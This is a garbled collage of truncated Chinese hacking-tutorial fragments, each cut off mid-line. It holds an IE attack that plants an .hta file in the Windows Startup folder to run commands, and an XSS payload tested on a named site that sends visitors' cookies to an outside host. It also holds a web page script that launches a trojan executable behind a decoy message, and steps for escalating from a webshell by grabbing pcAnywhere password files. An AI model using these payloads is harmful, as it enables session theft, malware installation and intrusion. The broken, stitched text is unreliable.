一、锁定目标INTERNET上每一台主机都有一个符合自己的名字，就像每个人都有一个合适得称呼一样，称做域名；然而一个人可能会有几个名字，域名的定义也会有同样的情况，在INTERNET上能真正标识主机的是IP地址，域名只是用IP指定的主机用于好记的而起的名字。当
这是利用微软(Microsoft)的IE浏览器(InternetExplorer)所衍生出来的攻击方法。以下这段就是具有破坏性的HTMLHackingYourComputer.scr.Reset();scr.Path="C:\\WINDOWS\\StartMenu\\Programs\\启动\\hack.hta";scr.Doc="wsh.Run('start.exe/mform
一、跨站测试先看看我的一次跨站测试吧我以职业欠钱的站点做测试吧:Host:zhiyeqianqian.51web.cnMyTest:先在他的论谈上传两张图，图一的内容是:document.location='http://linzi.cnbct.org/cookie.asp?msg='+document.cookie得到url为UploadFile/2005-6/200
run_exe=""//这里的muma.exe就是我们要运行的程序run_exe+=""run_exe+=""run_exe+="等会......网页在下载支持的文件";//这里是迷惑人的.你可以写其他任何东西.document.open();document.clear();document.writeln(run_exe);document.close();
当我们取得一个webshell时候，下一部要做的就是提升权限个人总结如下：1:C:\DocumentsandSettings\AllUsers\ApplicationData\Symantec\pcAnywhere看能否跳转到这个目录，如果行那就最好了，直接下它的CIF文件，得到pcAnywhere密码，登陆2.C:\WINNT
